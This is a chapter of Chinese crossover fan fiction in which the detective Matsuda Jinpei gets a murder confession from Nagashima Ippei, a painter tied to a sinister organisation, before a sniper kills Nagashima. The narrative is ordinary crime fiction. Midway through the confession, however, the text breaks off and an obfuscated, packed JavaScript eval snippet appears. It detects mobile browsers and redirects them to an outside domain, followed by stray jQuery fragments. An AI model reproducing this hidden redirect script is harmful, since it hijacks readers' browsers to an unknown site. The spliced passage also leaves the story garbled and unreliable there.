松田阵平很快到了长岛一平的家门口,不轻不重敲了敲门,就看到了对方带着点惶恐和怯懦的面庞。
“长岛先生,我有些事情想要问你。”
松田阵平毫不客气地拉开门走了进去,自然地坐在了沙发上,自顾自地开始讲话。
“死者八田拓也在天台没有挣扎的痕迹,看现场留下的灰尘,死者是先被靠在老化的栏杆上,衣服下摆摩擦过,栏杆的锈迹和灰尘都淡了一些,所以死者是在昏迷或者已经死亡的情况下被扔下。”
长岛一平看着他,颤声询问,“拓也…不是自杀的吗?都怪我最近对他关心少了,所以才…”
松田阵平看着他冷笑一声,“刚才你不是还把拓也拜托给了目暮警官吗?我还以为你是拜托他找出凶手。”
“我是拜托目暮警官查清楚真相。”长岛一平眉眼温顺地回答。
“我还以为是因为八田拓也引诱你吸食毒.品,你心怀怨恨,所以才杀了他。”
“我和拓也关系很好,我一直很感谢他,警官先生你说的事情不可能发生。”
松田阵平仔细看着长岛一平的表情,惊讶地发现,这句话他可能是发自内心的。
他把这点加入心中的分析,转了个话题继续刺激长岛一平。
“想要伪造跳楼自杀,证明凶手不会用激烈的方式直接砍杀,而是用代谢快无法查出的毒药代替,又或者是迷药。”
“20楼还有19楼住户都在近期和八田拓也激烈争吵,八田拓也不太可能对两人放下警惕,当然也有可能以和解或者送东西为理由,让对方放下警惕,但是两个人的性格侧写可以看出难以做出这样的行为,他们选择动手不会选天台跳楼这一种,太过繁琐累赘。”
“虽然下川良是医学生更好弄到药物,但是也是因为他是医学生,他才会被八田拓也和你盯上,八田是想要找精神麻醉类药物,你则是想借此获得迷药,想来那个时候你就对八田拓也怀有杀意了。”
“怎么样,在他家找到你想要的药了吗?”
“我不太听得懂,警官先生你在说什么。”
“选择用毒用药还有一个原因,是正面对决你无法控制八田拓也”松田阵平摸着下巴,笑了一下。
“和田晴全程没有作案时间,你虽然在打电话,想要以此作为不在场证明,但是手段太拙劣了,简单得一眼就可以看穿你做手的脚,刚才在你的房间里我就看到了电话旁有胶布留下的痕迹,想来是把自己的智能电话和手机绑在了一起。”
“你本来就打算用电话作为不在场证明,所以和电话原本约在晚上,因为晚上,更愿意在夜晚去扔减少被人迅速发现的可能性,不是那个时候你正好打电话,而是因为电话来所以才会有尸体坠落。”
“所以电话时间改了,他去天台扔尸体的时间也修改了。”
“时间就变得紧急,你没有想到我会在你扔下的那一刻出现,那时候,被吓了一跳吧。”
松田阵平紧盯着长岛一平,他却依然不为所动,所以松田阵平继续往下说。
“所以你匆忙回到了家中,处理了家里八田拓也留下的痕迹,但是很可惜,你没有时间去收拾天台的痕迹。”
“天台是八田拓也常去的地方,他经常在天台抽烟,所以留下了一地的烟蒂,所以你没有太担心天台的痕迹,因为都能用八田喜欢去天台留下了痕迹掩盖过去。”
“但是,你好像忘记了八田因为和帮派走得近,烟蒂里面掺杂了致幻剂,由于恐慌八田拓也不会在天台服用,天台的烟蒂不可能会含有致幻剂成分。”
“死亡前八田拓也正在你的家中干什么,相信你还有印象吧。”
“砰——”
松田阵平用手比了个枪的姿势,对准了长岛一平的胸口。
“那就是关键性证据。”
长岛一平无奈地笑了笑,少了几分怯懦,神色平静下来,不像是受到污染的人。
“八田确实是我杀的,你说的没错。”
“我真的不擅长杀人啊,但是没办法,我不杀了他也会有别人出手的,那样子我也不太能活下去。”
长岛一平语气带了点抱怨。
“八田这个人懒惰、暴躁易怒还很蠢,但是对我还是不错的,我不过是在他刚入住时帮了他几次,他就眼睛亮亮地缠上我了。”
“他也是年轻,满脑子都是义气,那个帮派是我介绍给他的,因为我需要人潜进去收集消息。”
“没想到原本就有点歪的人,送进去直接被带毁了,碰了不能碰的东西就算了,不缺那点钱,但他还在我这偷听。”
“这我可没办法保下他了,毕竟消息传出去可是要掉脑袋的。”
“警官先生已经看出来了吧,其实说出来也没关系的。”
长岛一平笑了笑,站起来打开了那个一直盖着白布的画作,顺便拉开了一直紧闭的窗帘。
“谢谢您的谨慎,我之前检查过一遍窃听器也拆掉了,所以直接说也无妨,当然也有可能藏有我没注意到的东西,但是已经无所谓了。”
他的眼神逐渐染上狂热,松田阵平看他这样心里暗道不好,起身准备随时打晕长岛一平。
不管是对长岛一平还是目暮警官他都是讲出刻意忽视细节的“真相”,目暮警官是因为难以去改变现状,被卷入还会有生命危险,而对长岛一平说这个则是为了避免刺激他。
他可不想要人直接在他面前脑子炸开。
长岛一平没有注意到松田阵平的动作,他看着自己的画作狂热中混杂着恐惧回忆道:“在几年前,有一个组织找上了我,那个组织的人总是穿着黑衣,就好像夜里窥探的乌鸦,无处不在。”
“他们给我看了一些文献,让我画了几幅画,然后给了我远超想象的金钱。”
“我加入了这个组织,为他们服务,他们让我画什么我就画什么,有时灵感来了的创作也能在他们那里卖出个好价钱。”
“我知道他们不是好人,这个组织也不好惹,但是我只是个画画的,能给他们提供什么帮助,又能威胁到什么人,这个老板打钱大方,事情也少,有一段时间里我是很满意这个工作的。”
“一直到去年,我在看了他们给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981538|177954||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的东西之后,感觉世界变了,无端的恐惧摄取了我全部的心神,我癫狂的呆在房子里,疯了一般画画。”
“我好像在疯狂中看到了什么,画出了那个组织满意的画作,他们还需要我,所以给我注射了一种透明的药剂,这让我勉强保持了清醒。”
“我开始害怕了,但是离开药剂我就会陷入疯狂,所以我不敢离开这个组织,可那段经历太可怕了,我甚至不敢回忆。”
“我开始拖延绘画,排斥过去的热爱,恨不得把所有时间花在外头,每一个人找我帮忙我都尽自己所能去帮助,来让我脱离忘记那疯狂。”
“我的态度被那个组织察觉了,他们在那次画作之后对我的态度就变了,不仅催促我画画,还要我去收集一些消息。”
像是好久没像人倾诉自己过去的经历,长岛一平喋喋不休把自己过去的事全部吐露。
松田阵平其实猜到了大部分的事情,但是他没想到长岛一平被污染的时间如此靠前,而且竟然还有组织研制出来了抑制疯狂的药剂。
长岛一平低头深情地抚摸着画作,继续说着他的经历。
“八田被我安排到帮派,就是为了替那个组织收集信息,那个孩子也是倒霉,碰上了我又被我派进去,碰了不该碰的。”
“但是我很感谢他,因为通过他我发现了,他服用的致幻剂和组织一直给我使用的药剂是同一个类型。”
他泛黄的指尖抽搐了一下,刮下了一小块干涸的颜料。
“我想过护着他,真的把他当成自己小孩看待,反正我有钱,给他提供资金支持让他买些自己喜欢的东西也挺好的。”
“但是啊,我说过吗?他真的很蠢,这种情况下还敢在我和那个组织交流的时候偷听,当然他也真的义气,就像是加入帮派之后,怕害到女友赶紧分手了,他也听出了我跟组织之间有间隙,所以之后偷偷跟踪和我联络的组织成员。”
“最后被灌了药半死不活地送到我家了,成了组织要我上交的投名状。”
“我忘记了不少东西,对组织的价值也在消失,救不下自己,也救不下他。”
“松田警官对吧,之后可能要麻烦你了。”
长岛一平没头没脑突然如此说道,再一次低头摸索着自己的这幅画。
松田阵平通过他的话语拼齐了线索,他从空间中拿出那把□□,准备先把污染清除了,再解决接下去的问题。
在取出武器时,他抽个空打开了任务栏,确认支线进度,发现随着长岛一平的诉说,进度已经到了55%,还在不断上涨。
但是现在真相揭露,所有疑点都被解决,按经验,进度应该到85%左右?
松田阵平电光火石间明白了为什么,他看到红点落在了长岛一平的胸口,他伸出手试图拉扯长岛一平偏移位置,找寻掩护点。
但是已经太迟了。
血花再次飞溅,沾染松田阵平的面容,蔓延的血液再次触及脚下。
【乌鸦听得见哀鸣吗—嘶哑的求救(进度55%)】
求助人死亡。
任务失败。